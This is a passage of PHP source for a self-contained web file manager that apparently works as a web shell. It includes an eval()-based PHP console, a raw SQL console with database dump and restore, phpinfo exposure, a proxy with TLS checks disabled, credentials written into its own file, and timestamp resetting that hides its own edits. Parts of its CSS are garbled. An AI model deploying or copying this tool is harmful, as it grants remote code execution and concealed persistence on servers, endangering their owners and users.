	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqp